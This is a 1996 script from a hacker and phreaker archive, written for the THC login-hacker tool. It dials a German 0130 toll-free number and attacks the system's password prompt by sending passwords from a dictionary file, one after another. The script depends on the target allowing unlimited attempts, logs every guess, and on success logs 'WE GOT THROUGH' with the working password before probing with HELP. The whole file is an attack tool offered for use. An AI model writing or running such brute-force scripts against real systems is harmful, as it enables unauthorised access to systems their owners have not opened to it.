home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / THC-LH10.ZIP / PASSCODE.TXT < prev    next >
Text File  |  1996-03-19  |  1KB  |  70 lines
  1. ;
  2. ;
  3. ; --------------------------------------------------------------------
  4. ;  Hackscript for 0130-xxxxxx german toll free number (by MindManiac)
  5. ; --------------------------------------------------------------------
  6. ;
  7. ; System asks for a password
  8. ; Unlimited input attempts possible
  9. ;
  10. ; 30xCrLf
  11. ; PASSCODE:*****
  12. ;
  13.  
  14. #DEFINE
  15. INIT_MODEM=AT &F L2
  16. INIT_DATA=8N1
  17. LOGFILE=xxxxxx.LOG
  18. PHONE_NR=0130xxxxxx
  19. DIAL_TRIES=5
  20. LOGIN_TRIES=0
  21. DIC(1)=C:\2\thc-lh09\w1.w
  22.  
  23. #NOCARRIER
  24. BEEP
  25. BEEP
  26. BEEP
  27. LOG(NO CARRIER)
  28. LOG(ON $DATE $TIME)
  29. LOG(AT $DIC(1))
  30. LOG()
  31. GOTO(#START)
  32.  
  33. #START
  34. LOG(--------------------------------------------------------------------------)
  35. LOG(TARGET : $PHONE_NR    ON $DATE - $TIME)
  36. LOG()
  37. :1
  38. LOG(Dialing ...)
  39. HANGUP
  40. DIAL
  41. LOG($STRING)
  42. WAIT4STRING(30,.^M,3,GOTO(1),PASS)
  43. :2
  44. set string=
  45. SEND_NEXT_DIC(1)
  46. wait(1)
  47. LOG($DIC(1))
  48. ; yeah, log every attempt!
  49. WAIT4STRING(15,.^M,3,GOTO(3),PASS)
  50. GOTO(2)
  51. :3
  52. LOG_SESSION_ON
  53. SEND()
  54. SEND(?)
  55. SEND(HELP)
  56. SEND()
  57. LOG()
  58. LOG(!!!!! WE GOT THROUGH !!!!!!)
  59. LOG(Password : $DIC(1))
  60. LOG()
  61. BEEP
  62. BEEP
  63. BEEP
  64. BEEP
  65. BEEP
  66. HANGUP
  67. GOTO(#END)
  68.  
  69. #END
  70.